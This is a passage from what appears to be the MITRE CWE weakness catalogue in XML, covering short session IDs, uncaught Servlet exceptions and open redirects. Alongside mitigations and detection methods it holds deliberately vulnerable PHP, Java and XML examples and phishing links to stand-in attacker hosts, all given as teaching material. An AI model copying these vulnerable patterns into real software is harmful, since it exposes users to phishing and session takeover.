            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-47">
               <Intro_Text>The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;sun-web-app&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>&lt;session-config&gt;<xhtml:div style="margin-left:1em;">
                              <xhtml:div>&lt;session-properties&gt;<xhtml:div style="margin-left:1em;">&lt;property name="idLengthBytes" value="8"&gt;<xhtml:div style="margin-left:1em;">&lt;description&gt;The number of bytes in this web module's session ID.&lt;/description&gt;</xhtml:div>&lt;/property&gt;</xhtml:div>&lt;/session-properties&gt;</xhtml:div>
                           </xhtml:div>&lt;/session-config&gt;<xhtml:br/>...</xhtml:div>
                     </xhtml:div>&lt;/sun-web-app&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.</Body_Text>
               <Body_Text>Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Misconfiguration: Insufficient Session-ID Length</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-482"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Background_Details, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Enabling_Factors_for_Exploitation, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="600" Name="Uncaught Exception in Servlet " Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The Servlet does not catch all exceptions, which may reveal sensitive debugging information.</Description>
         <Extended_Description>When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="248" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="209" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="390" View_ID="1000"/>
         </Related_Weaknesses>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Missing Catch Block</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Implement Exception blocks to handle all types of Exceptions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-39">
               <Intro_Text>The following example attempts to resolve a hostname.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {<xhtml:div style="margin-left:1em;">String ip = req.getRemoteAddr();<xhtml:br/>InetAddress addr = InetAddress.getByName(ip);<xhtml:br/>...<xhtml:br/>out.println("hello " + addr.getHostName());</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>A DNS lookup failure will cause the Servlet to throw an exception.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR01-J</Entry_ID>
               <Entry_Name>Do not allow exceptions to expose sensitive information</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Description, Maintenance_Notes, Name, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Missing Catch Block</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Catch All Exceptions (Missing Catch Block)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Catch All Exceptions in Servlet</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="601" Name="URL Redirection to Untrusted Site ('Open Redirect')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.</Description>
         <Extended_Description>An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance. Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Open Redirect</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Cross-site Redirect</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Cross-domain Redirect</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Other</Impact>
               <Note>The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-10">
               <Method>Manual Static Analysis</Method>
               <Description>Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.</Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Dynamic Analysis</Method>
               <Description>Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.</Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>Use a list of approved URLs or domains to be used for redirection.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21.2">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>
                  <xhtml:p>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</xhtml:p>
                  <xhtml:p>For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).</Description>
               <Effectiveness_Notes>Note that this can be bypassed using XSS (CWE-79).</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-6">
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.</xhtml:p>
                  <xhtml:p>Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-29">
               <Phase>Operation</Phase>
               <Strategy>Firewall</Strategy>
               <Description>Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code obtains a URL from the query string and then redirects the user to that URL.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$redirect_url = $_GET['url'];<xhtml:br/>header("Location: " . $redirect_url);</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>http://example.com/example.php?url=http://malicious.example.com</xhtml:div>
               </Example_Code>
               <Body_Text>The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class RedirectServlet extends HttpServlet {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:div style="margin-left:1em;">String query = request.getQueryString();<xhtml:br/>if (query.contains("url")) {<xhtml:div style="margin-left:1em;">String url = request.getParameter("url");<xhtml:br/>response.sendRedirect(url);</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:</Body_Text>
               <Example_Code Nature="Attack" Language="HTML">
                  <xhtml:div>&lt;a href="http://bank.example.com/redirect?url=http://attacker.example.net"&gt;Click here to log in&lt;/a&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-4206</Reference>
               <Description>URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4206</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2951</Reference>
               <Description>An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2951</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2052</Reference>
               <Description>Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2052</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-11053</Reference>
               <Description>Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-11053</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>38</Entry_ID>
               <Entry_Name>URl Redirector Abuse</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="178"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-483"/>
            <Reference External_Reference_ID="REF-484" Section="Page 43"/>
            <Reference External_Reference_ID="REF-485"/>
            <Reference External_Reference_ID="REF-45"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Background_Details, Description, Detection_Factors, Likelihood_of_Exploit, Name, Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-03</Modification_Date>
               <Modification_Comment>updated References and Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Observed_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
